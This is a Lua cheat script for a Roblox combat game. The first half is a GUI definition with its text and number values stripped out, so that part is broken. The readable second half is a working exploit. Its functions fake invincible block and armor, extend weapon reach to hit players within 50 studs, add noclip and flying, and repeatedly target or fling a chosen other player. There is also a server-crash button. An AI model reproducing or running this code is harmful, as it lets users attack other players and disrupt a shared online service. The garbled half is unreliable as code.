AutoBlockColor.Font = .Font.SourceSans
AutoBlockColor.Text =
AutoBlockColor.TextColor3 = .(, , )
AutoBlockColor.TextSize =
CashAura.Name =
CashAura.Parent = TogglesFrame
CashAura.BackgroundColor3 = .(, , )
CashAura.BorderSizePixel =
CashAura.Position = .(, , , )
CashAura.Size = .(, , , )
CashAura.Font = .Font.GothamBlack
CashAura.Text =
CashAura.TextColor3 = .(, , )
CashAura.TextSize =
CashAuraColor.Name =
CashAuraColor.Parent = CashAura
CashAuraColor.BackgroundColor3 = .(, , )
CashAuraColor.BorderSizePixel =
CashAuraColor.Size = .(, , , )
CashAuraColor.Font = .Font.SourceSans
CashAuraColor.Text =
CashAuraColor.TextColor3 = .(, , )
CashAuraColor.TextSize =
AntiEffects.Name =
AntiEffects.Parent = TogglesFrame
AntiEffects.BackgroundColor3 = .(, , )
AntiEffects.BorderSizePixel =
AntiEffects.Position = .(, , , )
AntiEffects.Size = .(, , , )
AntiEffects.Font = .Font.GothamBlack
AntiEffects.Text =
AntiEffects.TextColor3 = .(, , )
AntiEffects.TextSize =
AntiEffectsColor.Name =
AntiEffectsColor.Parent = AntiEffects
AntiEffectsColor.BackgroundColor3 = .(, , )
AntiEffectsColor.BorderSizePixel =
AntiEffectsColor.Size = .(, , , )
AntiEffectsColor.Font = .Font.SourceSans
AntiEffectsColor.Text =
AntiEffectsColor.TextColor3 = .(, , )
AntiEffectsColor.TextSize =
AltArmor.Name =
AltArmor.Parent = TogglesFrame
AltArmor.BackgroundColor3 = .(, , )
AltArmor.BorderSizePixel =
AltArmor.Position = .(, , , )
AltArmor.Size = .(, , , )
AltArmor.Font = .Font.GothamBlack
AltArmor.Text =
AltArmor.TextColor3 = .(, , )
AltArmor.TextSize =
AltArmorColor.Name =
AltArmorColor.Parent = AltArmor
AltArmorColor.BackgroundColor3 = .(, , )
AltArmorColor.BorderSizePixel =
AltArmorColor.Size = .(, , , )
AltArmorColor.Font = .Font.SourceSans
AltArmorColor.Text =
AltArmorColor.TextColor3 = .(, , )
AltArmorColor.TextSize =
AntiBag.Name =
AntiBag.Parent = TogglesFrame
AntiBag.BackgroundColor3 = .(, , )
AntiBag.BorderSizePixel =
AntiBag.Position = .(, , , )
AntiBag.Size = .(, , , )
AntiBag.Font = .Font.GothamBlack
AntiBag.Text =
AntiBag.TextColor3 = .(, , )
AntiBag.TextSize =
AntiBagColor.Name =
AntiBagColor.Parent = AntiBag
AntiBagColor.BackgroundColor3 = .(, , )
AntiBagColor.BorderSizePixel =
AntiBagColor.Size = .(, , , )
AntiBagColor.Font = .Font.SourceSans
AntiBagColor.Text =
AntiBagColor.TextColor3 = .(, , )
AntiBagColor.TextSize =
AntiSlow.Name =
AntiSlow.Parent = TogglesFrame
AntiSlow.BackgroundColor3 = .(, , )
AntiSlow.BorderSizePixel =
AntiSlow.Position = .(, , , )
AntiSlow.Size = .(, , , )
AntiSlow.Font = .Font.GothamBlack
AntiSlow.Text =
AntiSlow.TextColor3 = .(, , )
AntiSlow.TextSize =
AntiSlowColor.Name =
AntiSlowColor.Parent = AntiSlow
AntiSlowColor.BackgroundColor3 = .(, , )
AntiSlowColor.BorderSizePixel =
AntiSlowColor.Size = .(, , , )
AntiSlowColor.Font = .Font.SourceSans
AntiSlowColor.Text =
AntiSlowColor.TextColor3 = .(, , )
AntiSlowColor.TextSize =
SellingFrame.Name =
SellingFrame.Parent = Buttons
SellingFrame.BackgroundColor3 = .(, , )
SellingFrame.BackgroundTransparency =
SellingFrame.Size = .(, , , )
SellingFrame.Visible =
CashTextbox.Name =
CashTextbox.Parent = SellingFrame
CashTextbox.BackgroundColor3 = .(, , )
CashTextbox.BorderSizePixel =
CashTextbox.Position = .(, , , )
CashTextbox.Size = .(, , , )
CashTextbox.Font = .Font.SourceSans
CashTextbox.PlaceholderText =
CashTextbox.Text =
CashTextbox.TextColor3 = .(, , )
CashTextbox.TextSize =
CashDropperTitle.Name =
CashDropperTitle.Parent = SellingFrame
CashDropperTitle.BackgroundColor3 = .(, , )
CashDropperTitle.BackgroundTransparency =
CashDropperTitle.Position = .(, , , )
CashDropperTitle.Size = .(, , , )
CashDropperTitle.Font = .Font.LuckiestGuy
CashDropperTitle.Text =
CashDropperTitle.TextColor3 = .(, , )
CashDropperTitle.TextSize =
CalculateButton.Name =
CalculateButton.Parent = SellingFrame
CalculateButton.BackgroundColor3 = .(, , )
CalculateButton.BorderSizePixel =
CalculateButton.Position = .(, , , )
CalculateButton.Size = .(, , , )
CalculateButton.Font = .Font.GothamBlack
CalculateButton.Text =
CalculateButton.TextColor3 = .(, , )
CalculateButton.TextSize =
DropToggleButton.Name =
DropToggleButton.Parent = SellingFrame
DropToggleButton.BackgroundColor3 = .(, , )
DropToggleButton.BorderSizePixel =
DropToggleButton.Position = .(, , , )
DropToggleButton.Size = .(, , , )
DropToggleButton.Font = .Font.GothamBlack
DropToggleButton.Text =
DropToggleButton.TextColor3 = .(, , )
DropToggleButton.TextSize =
CashDroppedLabel.Name =
CashDroppedLabel.Parent = SellingFrame
CashDroppedLabel.BackgroundColor3 = .(, , )
CashDroppedLabel.BackgroundTransparency =
CashDroppedLabel.Position = .(, , , )
CashDroppedLabel.Size = .(, , , )
CashDroppedLabel.Font = .Font.GothamBlack
CashDroppedLabel.Text =
CashDroppedLabel.TextColor3 = .(, , )
CashDroppedLabel.TextSize =
CashDroppedLabel.TextXAlignment = .TextXAlignment.Left
CashAtEndLabel.Name =
CashAtEndLabel.Parent = SellingFrame
CashAtEndLabel.BackgroundColor3 = .(, , )
CashAtEndLabel.BackgroundTransparency =
CashAtEndLabel.Position = .(, , , )
CashAtEndLabel.Size = .(, , , )
CashAtEndLabel.Font = .Font.GothamBlack
CashAtEndLabel.Text =
CashAtEndLabel.TextColor3 = .(, , )
CashAtEndLabel.TextSize =
CashAtEndLabel.TextXAlignment = .TextXAlignment.Left
Frame_2.Parent = SellingFrame
Frame_2.BackgroundColor3 = .(, , )
Frame_2.BorderSizePixel =
Frame_2.Position = .(, , , )
Frame_2.Size = .(, , , )
CrashServerButton.Name =
CrashServerButton.Parent = SellingFrame
CrashServerButton.BackgroundColor3 = .(, , )
CrashServerButton.BorderSizePixel =
CrashServerButton.Position = .(, , , )
CrashServerButton.Size = .(, , , )
CrashServerButton.Font = .Font.GothamBlack
CrashServerButton.Text =
CrashServerButton.TextColor3 = .(, , )
CrashServerButton.TextSize =
SwagmodeFrame.Active =
SwagmodeFrame.Draggable =
imiecredits.Text =
()
MainFrame.Visible =
QuickTpFrame.Visible =
SideScriptsFrame.Visible =
TogglesFrame.Visible =
SellingFrame.Visible =
(title,text,time)
.StarterGui:(, {
Title = title;
Text = text;
Duration = time;
})
Players = :()
UIS = :()
RS = :()
TogglesButton.MouseButton1Click:(()
()
TogglesFrame.Visible =
)
QuickTpButton.MouseButton1Click:(()
()
QuickTpFrame.Visible =
)
SideButton.MouseButton1Click:(()
()
SideScriptsFrame.Visible =
)
MainButton.MouseButton1Click:(()
()
MainFrame.Visible =
)
SellingButton.MouseButton1Click:(()
()
SellingFrame.Visible =
)
formatNumber = ( (n)
n = (n)
n:():(, ):():(, )
)
()
foundplayer = :():(TargetTextbox.Text)
foundplayer
TargetId = foundplayer.UserId
ThumbType = .ThumbnailType.HeadShot
ThumbSize = .ThumbnailSize.Size420x420
Content, IsReady = :():(TargetId, ThumbType, ThumbSize)
TargetImage.Image = Content
CashLabel.Text = ( .. (foundplayer.DataFolder.Currency.Value))
BountyLabel.Text = ( .. (foundplayer.leaderstats.Wanted.Value))
CrewValue = foundplayer:():():()
CrewValue
CrewValue.Value ~= CrewValue.Value ~=
Crew = :():((CrewValue.Value))
Crew
CrewLabel.Text = ( .. Crew.Name )
CrewId = (CrewValue.Value)
CrewLabel.Text = ()
Crew =
CrewLabel.Text = ()
Crew =
CrewLabel.MouseButton1Click:(()
CrewLabel.Text ~= ()
(CrewId)
)
()
TargetTextbox.FocusLost:(()
i,v (.Players:())
(.(.(v.Name),,.(TargetTextbox.Text))) == .(TargetTextbox.Text)
TargetTextbox.Text = v.Name
()
)
()
(plr)
()
.Players:(plr)
.Players[plr].Character
.Workspace:().CameraSubject = .Players:(plr).Character.HumanoidRootPart
View.Text =
View.Text =
(:(, ))()
vu = :()
:().LocalPlayer.Idled:(()
vu:(.(,),.CurrentCamera.CFrame)
()
vu:(.(,),.CurrentCamera.CFrame)
)
(()
.RunService.RenderStepped:(()
.Players.LocalPlayer.MaximumSimulationRadius = ;
(,)
)
)
.(.(()
()
()
player.Character:():()
player.Character:():().Disabled =
player.Character.UpperTorso:()
player.Character.UpperTorso:():()
(:())()
success, err = (main)
))
player = .Players.LocalPlayer
mouse = player:()
MainEvent = :().MainEvent
IsMod =
MaxDistance =
COOLDOWN =
RIDING =
Aimlocked =
NamePos = .(,,)
green = .(,,)
red = .(,,)
buyingarmor =
UIS.InputBegan:((key,b)
key.KeyCode == .KeyCode.V b
SwagmodeFrame.Visible ==
SwagmodeFrame.Visible =
SwagmodeFrame.Visible =
key.KeyCode == .KeyCode.Q b
QToTpColor.BackgroundColor3 == green
mouse.Target
part = mouse.Target
partSize = part.Size
halfSize = partSize.Y/
player.Character.HumanoidRootPart.CFrame = .(mouse.Hit.X,part.Position.Y + halfSize + ,mouse.Hit.Z) * .(.(player.Character.HumanoidRootPart.Orientation.X),.(player.Character.HumanoidRootPart.Orientation.Y),.(player.Character.HumanoidRootPart.Orientation.Z))
player.Character.LeftHand:()
player.Character.LeftHand.Position = player.Character.LeftLowerArm.Position
player.Character.RightHand.Position = player.Character.RightLowerArm.Position
key.KeyCode == .KeyCode.LeftAlt b
buyingarmor == AltArmorColor.BackgroundColor3 == green
ItemCost =
buyingarmor =
ClickDetector = :().Ignored.Shop[].ClickDetector
Location = :().Ignored.Shop[].ClickDetector.Parent.Head.Position
OldCFrame = player.Character.HumanoidRootPart.CFrame
()
()
player.Character.HumanoidRootPart.CFrame = .(Location)
(ClickDetector)
() player.Character.BodyEffects.Armor.Value == player.DataFolder.Currency.Value <= ItemCost player.Character.BodyEffects.Armor:()
player.Character.HumanoidRootPart.CFrame = OldCFrame
buyingarmor =
key.KeyCode == .KeyCode.F b
HideBlockColor.BackgroundColor3 == green AutoBlockColor.BackgroundColor3 == green
HoldingF =
player.Character:().Name =
HoldingF == HideBlockColor.BackgroundColor3 == green
()
_,v (player.Character:():())
v.Name ==
v:()
key.KeyCode == .KeyCode.Space b
.(.(()
Stamina.Text ==
HoldingSpace =
HoldingSpace ==
()
player.Character:().JumpPower =
player.Character:().Jump =
))
RIDING ==
COOLDOWN =
i,v (.Workspace.Ignored:())
v.Name ==
v.Name =
() :():():()
COOLDOWN =
key.KeyCode == .KeyCode.E b
Aimlock.Text ==
LowerTorso = mouse.Target.Parent:()
LowerTorso
LowerTorso = mouse.Target.Parent.Parent:()
LowerTorso
LowerTorso.Parent.Name ==
Aimlocked = LowerTorso.Parent.Parent.Parent.Name
Aimlocked = LowerTorso.Parent.Name
( .. Aimlocked, RPGTarget, )
Aimlocked =
(, , )
)
HoldingSpace =
UIS.InputEnded:((key,b)
key.KeyCode == .KeyCode.F b
player.Character:().Name =
HoldingF =
key.KeyCode == .KeyCode.Space
HoldingSpace =
)
player.CharacterAdded:((character)
() player.Character
NamePos = player.Character.HumanoidRootPart.CFrame
SpawnPosition ~=
player.Character.HumanoidRootPart.CFrame = SpawnPosition
)
.Workspace.Ignored.ChildAdded:((child)
child.Name == player.Character:()
child.Name =
)
----------------------------------------------------------------------------------------------
View.MouseButton1Click:Connect(function()
if View.Text == 'View' then
View.Text = 'Unview'
repeat view(TargetTextbox.Text) until View.Text == 'View'
game.Workspace:FindFirstChildWhichIsA('Camera').CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
else
View.Text = 'View'
end
end)
GodBlock.MouseButton1Click:Connect(function()
if player.Character.HumanoidRootPart.Size.X == 2 and player.Character.HumanoidRootPart.Size.Y == 2 then
player.Character.BodyEffects.Defense:Destroy()
Defense = Instance.new("IntValue", player.Character.BodyEffects)
Defense.Name = "Defense"
Defense.Value = 100
announce('ez','successfully godblocked',10)
else
announce('Error','you need to be using UNBAN to use godblock',10)
end
end)
GodArmor.MouseButton1Click:Connect(function()
player.Character.BodyEffects.Armor:Destroy()
Armor = Instance.new("IntValue", player.Character.BodyEffects)
Armor.Name = 'Armor'
Armor.Value = 100
GodLabel = Instance.new('IntValue', Armor)
GodLabel.Name = 'God'
end)
Headless.MouseButton1Click:Connect(function()
player.Character.Head:BreakJoints()
player.Character.Head.Position = Vector3.new(0,99999999999999,0)
end)
GoTo.MouseButton1Click:Connect(function()
player.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players[TargetTextbox.Text].Character.UpperTorso.Position)
end)
NoRecoil.MouseButton1Click:Connect(function()
for i,v in pairs(game:GetService('Workspace'):GetChildren()) do
if v:IsA('Camera') then
v:Destroy()
end
end
local newcam = Instance.new('Camera',game.Workspace)
newcam.Name = 'Camera'
newcam.CameraType = 'Custom'
newcam.CameraSubject = game:GetService('Workspace').Players:FindFirstChild(player.Name):FindFirstChild('Humanoid')
newcam.HeadLocked = true
newcam.HeadScale = 1
end)
if not syn and not KRNL_LOADED then
Reach.Text = 'ToolReach'
end
Reach.MouseButton1Click:Connect(function()
if Reach.Text == 'ToolReach' then
if player.Character:FindFirstChildWhichIsA('Tool') then
player.Character:FindFirstChildWhichIsA('Tool').Handle.Size = Vector3.new(50,50,50)
player.Character:FindFirstChildWhichIsA('Tool').Handle.Transparency = 1
else
announce('Reach Error', 'you need to be holding a tool', 3)
end
else
if Reach.Text == 'Reach' then
Reach.Text = 'Unreach'
while Reach.Text == 'Unreach' do
wait()
local success, err = pcall(function()
if player.Character.BodyEffects.Attacking.Value == true then
for i,v in pairs(game:GetService('Players'):GetChildren()) do
if (v.Character.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.LeftHand.Position).Magnitude <= 50 then
if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then
if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild('Handle') then
firetouchinterest(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Handle, v.Character.UpperTorso, 0)
else
firetouchinterest(game.Players.LocalPlayer.Character['RightHand'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['LeftHand'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['RightFoot'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['LeftFoot'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['RightLowerLeg'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['LeftLowerLeg'], v.Character.UpperTorso, 0)
end
end
end
end
end
end)
end
else
Reach.Text = 'Reach'
end
end
end)
FreeFists.MouseButton1Click:Connect(function()
for i,v in next, workspace:GetDescendants() do
if v:IsA'Seat' then
v:Destroy()
end
end
local FistControl = false
pcall(function()
player.Character.LeftHand.LeftWrist:Destroy();
player.Character.RightHand.RightWrist:Destroy();
end);
local loopFunction = function()
player.Character.LeftHand.CFrame = CFrame.new(mouse.Hit.p);
player.Character.RightHand.CFrame = CFrame.new(mouse.Hit.p);
end;
local Loop
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
UIS.InputBegan:Connect(function(a, b)
if a.KeyCode == Enum.KeyCode.T and not b then
if FistControl == false then
FistControl = true;
Start();
elseif FistControl == true then
FistControl = false;
Pause();
player.Character.LeftHand.CFrame = player.Character.LeftLowerArm.CFrame
player.Character.RightHand.CFrame = player.Character.RightLowerArm.CFrame
end;
end;
end)
end)
Target.MouseButton1Click:Connect(function()
if Target.Text == 'Target' then
Target.Text = 'Untarget'
pcall(function()
player.Character.LeftHand.LeftWrist:Destroy();
player.Character.RightHand.RightWrist:Destroy();
end);
local loopFunction = function()
if game.Players:FindFirstChild(TargetTextbox.Text).Character then
player.Character.LeftHand.CFrame = CFrame.new(game.Players[TargetTextbox.Text].Character.UpperTorso.Position);
player.Character.RightHand.CFrame = CFrame.new(game.Players[TargetTextbox.Text].Character.UpperTorso.Position);
if game.Players:FindFirstChild(TargetTextbox.Text).Character.BodyEffects['K.O'].Value == true then
Target.Text = 'Target'
end
else
Target.Text = 'Target'
end
end;
local Loop
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
announce('Target', 'no longer targeting', 5)
player.Character.LeftHand.CFrame = player.Character.LeftLowerArm.CFrame
player.Character.RightHand.CFrame = player.Character.RightLowerArm.CFrame
end;
Start()
repeat wait() until Target.Text == 'Target'
Pause()
else
Target.Text = 'Target'
end
end)
local OldState = player.Character:FindFirstChildWhichIsA('Humanoid'):GetState()
NoClip.MouseButton1Click:Connect(function()
local Character = player.Character
local Humanoid = Character:FindFirstChildWhichIsA('Humanoid')
local Control = false
local loopFunction = function()
Humanoid:ChangeState(11)
end;
local Loop
local Start = function()
if Control == false then
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end
end;
local Ended = function()
if Control == true then
Humanoid:ChangeState(OldState)
end
end;
Start()
local Pause = function()
Loop:Disconnect()
end;
local Pause2 = function()
Start();
Loop2:Disconnect()
end;
UIS.InputBegan:Connect(function(a, b)
if a.KeyCode == Enum.KeyCode.Z and not b then
if Control == false then
Control = true;
Ended();
Pause();
elseif Control == true then
Control = false;
Pause2();
end;
end;
end);
end)
FLYMODE = 'Default'
FLYSPEED = 20
FlySpeedPlus.MouseButton1Click:Connect(function()
FLYSPEED = FLYSPEED + 3
announce('FlySpeed changed', tostring(FLYSPEED), 3)
end)
FlySpeedMinus.MouseButton1Click:Connect(function()
FLYSPEED = FLYSPEED - 3
announce('Speed changed', tostring(FLYSPEED), 3)
end)
FlyMode.MouseButton1Click:Connect(function()
if FLYMODE == 'Default' then
FLYMODE = 'IY'
announce('Flymode changed', 'IY Mode {changes on death}', 3)
elseif FLYMODE == 'IY' then
FLYMODE = 'SuperHero'
announce('Flymode changed', 'HeroFly {changes on death}', 3)
else
FLYMODE = 'Default'
announce('Flymode changed', 'Default {changes on death}', 3)
end
end)
Fly.MouseButton1Click:Connect(function()
if FLYMODE == 'Default' then
local plr = game.Players.LocalPlayer
local Humanoid = plr.Character:FindFirstChildWhichIsA('Humanoid')
local mouse = plr:GetMouse()
localplayer = plr
if workspace:FindFirstChild("Core") then
workspace.Core:Destroy()
end
local Core = Instance.new("Part")
Core.Name = "Core"
Core.Size = Vector3.new(0.05, 0.05, 0.05)
spawn(function()
Core.Parent = workspace
local Weld = Instance.new("Weld", Core)
Weld.Part0 = Core
Weld.Part1 = localplayer.Character.LowerTorso
Weld.C0 = CFrame.new(0, 0, 0)
end)
workspace:WaitForChild("Core")
local torso = workspace.Core
flying = true
local speed=FLYSPEED
local keys={a=false,d=false,w=false,s=false}
local e1
local e2
local function start()
local pos = Instance.new("BodyPosition",torso)
local gyro = Instance.new("BodyGyro",torso)
pos.Name="EPIXPOS"
pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
pos.position = torso.Position
gyro.maxTorque = Vector3.new(15e15, 15e15, 15e15)
gyro.cframe = torso.CFrame
repeat
wait()
Humanoid.PlatformStand=true
local new=gyro.cframe - gyro.cframe.p + pos.position
if not keys.w and not keys.s and not keys.a and not keys.d then
speed=FLYSPEED
end
if keys.w then
new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
speed=speed
end
if keys.s then
new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
speed=speed
end
if keys.d then
new = new * CFrame.new(speed,0,0)
speed=speed
end
if keys.a then
new = new * CFrame.new(-speed,0,0)
speed=speed
end
if speed>FLYSPEED then
speed=FLYSPEED
end
pos.position=new.p
if keys.w then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed),0,0)
elseif keys.s then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed),0,0)
else
gyro.cframe = workspace.CurrentCamera.CoordinateFrame
end
until flying == false
if gyro then gyro:Destroy() end
if pos then pos:Destroy() end
flying=false
Humanoid.PlatformStand=false
speed=FLYSPEED
end
e1=mouse.KeyDown:connect(function(key)
if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end
if key=="w" then
keys.w=true
elseif key=="s" then
keys.s=true
elseif key=="a" then
keys.a=true
elseif key=="d" then
keys.d=true
elseif key=="x" then
if flying==true then
flying=false
else
flying=true
start()
end
end
end)
e2=mouse.KeyUp:connect(function(key)
if key=="w" then
keys.w=false
elseif key=="s" then
keys.s=false
elseif key=="a" then
keys.a=false
elseif key=="d" then
keys.d=false
end
end)
start()
elseif FLYMODE == 'IY' then
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Head") and game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
local mouse = game.Players.LocalPlayer:GetMouse()
repeat wait() until mouse
local plr = game.Players.LocalPlayer
local torso = plr.Character.Head
local flying = false
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 5000
local speed = 5000
function Fly()
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
repeat wait()
plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = true
if ctrl.l + ctrl.r ~= 100000 or ctrl.f + ctrl.b ~= 10000 then
speed = speed+.0+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 5 or ctrl.f + ctrl.b ~= 5) and speed ~= 5 then
speed = speed-5
if speed > 5 then
speed = -2
end
end
if (ctrl.l + ctrl.r) ~= 5 or (ctrl.f + ctrl.b) ~= 5 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 5 and (ctrl.f + ctrl.b) == 5 and speed ~= 5 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0.1,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
until not flying
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 5
bg:Destroy()
bv:Destroy()
plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = false
end
mouse.KeyDown:connect(function(key)
if key:lower() == "x" then
if flying then flying = false
else
flying = true
Fly()
end
elseif key:lower() == "w" then
ctrl.f = FLYSPEED
elseif key:lower() == "s" then
ctrl.b = -FLYSPEED
elseif key:lower() == "a" then
ctrl.l = -FLYSPEED
elseif key:lower() == "d" then
ctrl.r = FLYSPEED
end
end)
mouse.KeyUp:connect(function(key)
if key:lower() == "w" then
ctrl.f = 0
elseif key:lower() == "s" then
ctrl.b = 0
elseif key:lower() == "a" then
ctrl.l = 0
elseif key:lower() == "d" then
ctrl.r = 0
end
end)
Fly()
elseif FLYMODE == 'SuperHero' then
local player = game.Players.LocalPlayer
local Flyanimation = Instance.new('Animation', game.Workspace)
Flyanimation.AnimationId = 'rbxassetid://3541044388'
local Idleanimation = Instance.new('Animation', game.Workspace)
Idleanimation.AnimationId = 'rbxassetid://3541114300'
local HeroIdle = player.Character.Humanoid:LoadAnimation(Idleanimation)
local HeroFly = player.Character.Humanoid:LoadAnimation(Flyanimation)
Idleing2 = false
local function flyanim()
--HeroIdle:Stop()
local FlyingA = false
for i,v in pairs(player.Character.Humanoid:GetPlayingAnimationTracks()) do
if v.Animation.AnimationId == 'rbxassetid://3541044388' then
FlyingA = true
end
if v.Animation.AnimationId == 'rbxassetid://2788289281' then
v:Stop()
end
if v.Animation.AnimationId == 'rbxassetid://2788292075' then
v:Stop()
end
end
if FlyingA == false and Idleing2 == false then
HeroFly:Play()
end
end
local SPEED = FLYSPEED
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Head") and game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
local mouse = game.Players.LocalPlayer:GetMouse()
repeat wait() until mouse
local plr = game.Players.LocalPlayer
local torso = plr.Character.Head
flying = false
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
maxspeed = 5000
speed = 5001
function Fly()
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
repeat wait()
plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = true
if ctrl.l + ctrl.r ~= 100000 or ctrl.f + ctrl.b ~= 10000 then
speed = speed+.0+(speed/maxspeed)
local foundidle = false
flyanim()
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 5 or ctrl.f + ctrl.b ~= 5) and speed ~= 5 then
speed = speed-5
if speed > 5 then
speed = -2
end
end
if (ctrl.l + ctrl.r) ~= 5 or (ctrl.f + ctrl.b) ~= 5 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 5 and (ctrl.f + ctrl.b) == 5 and speed ~= 5 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0.1,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
until not flying
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 5
bg:Destroy()
bv:Destroy()
plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = false
end
mouse.KeyDown:connect(function(key)
if key:lower() == "x" then
if flying then
flying = false
HeroFly:Stop()
HeroIdle:Stop()
else
flying = true
Fly()
end
elseif key:lower() == "w" then
ctrl.f = FLYSPEED
elseif key:lower() == "s" then
ctrl.b = -FLYSPEED
elseif key:lower() == "a" then
ctrl.l = -FLYSPEED
elseif key:lower() == "d" then
ctrl.r = FLYSPEED
end
end)
mouse.KeyUp:connect(function(key)
if key:lower() == "w" then
ctrl.f = 0
elseif key:lower() == "s" then
ctrl.b = 0
elseif key:lower() == "a" then
ctrl.l = 0
elseif key:lower() == "d" then
ctrl.r = 0
end
if ctrl.r == 0 and ctrl.l == 0 and ctrl.b == 0 and ctrl.f == 0 then
local Loop
local loopFunction = function()
Idleing2 = true
HeroFly:Stop()
wait()
Idleing = false
for i,v in pairs(player.Character.Humanoid:GetPlayingAnimationTracks()) do
if v.Animation.AnimationId == 'rbxassetid://3541114300' then
Idleing = true
end
end
if Idleing == false and flying == true then
HeroIdle:Play()
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
Idleing2 = false
end;
Start()
repeat wait() until ctrl.r ~= 0 or ctrl.l ~= 0 or ctrl.b ~= 0 or ctrl.f ~= 0 or flying == false
Pause()
end
end)
Fly()
player.CharacterAdded:Connect(function()
repeat wait() until player.Character
wait(1)
Fly()
end)
end
end)
Fling.MouseButton1Click:Connect(function()
if Fling.Text == 'Fling' then
Fling.Text = 'Unfling'
local Loop
local OldFlingPos = player.Character.HumanoidRootPart.Position
local loopFunction = function()
local success,err = pcall(function()
local FlingEnemy = Players:FindFirstChild(TargetTextbox.Text).Character
if FlingEnemy and player.Character then
FlingTorso = FlingEnemy.UpperTorso
local dis = 3.85
local increase = 6
if FlingEnemy.Humanoid.MoveDirection.X < 0 then
xchange = -increase
elseif FlingEnemy.Humanoid.MoveDirection.X > 0 then
xchange = increase
else
xchange = 0
end
if FlingEnemy.Humanoid.MoveDirection.Z < 0 then
zchange = -increase
elseif FlingEnemy.Humanoid.MoveDirection.Z > 0 then
zchange = increase
else
zchange = 0
end
if player.Character then
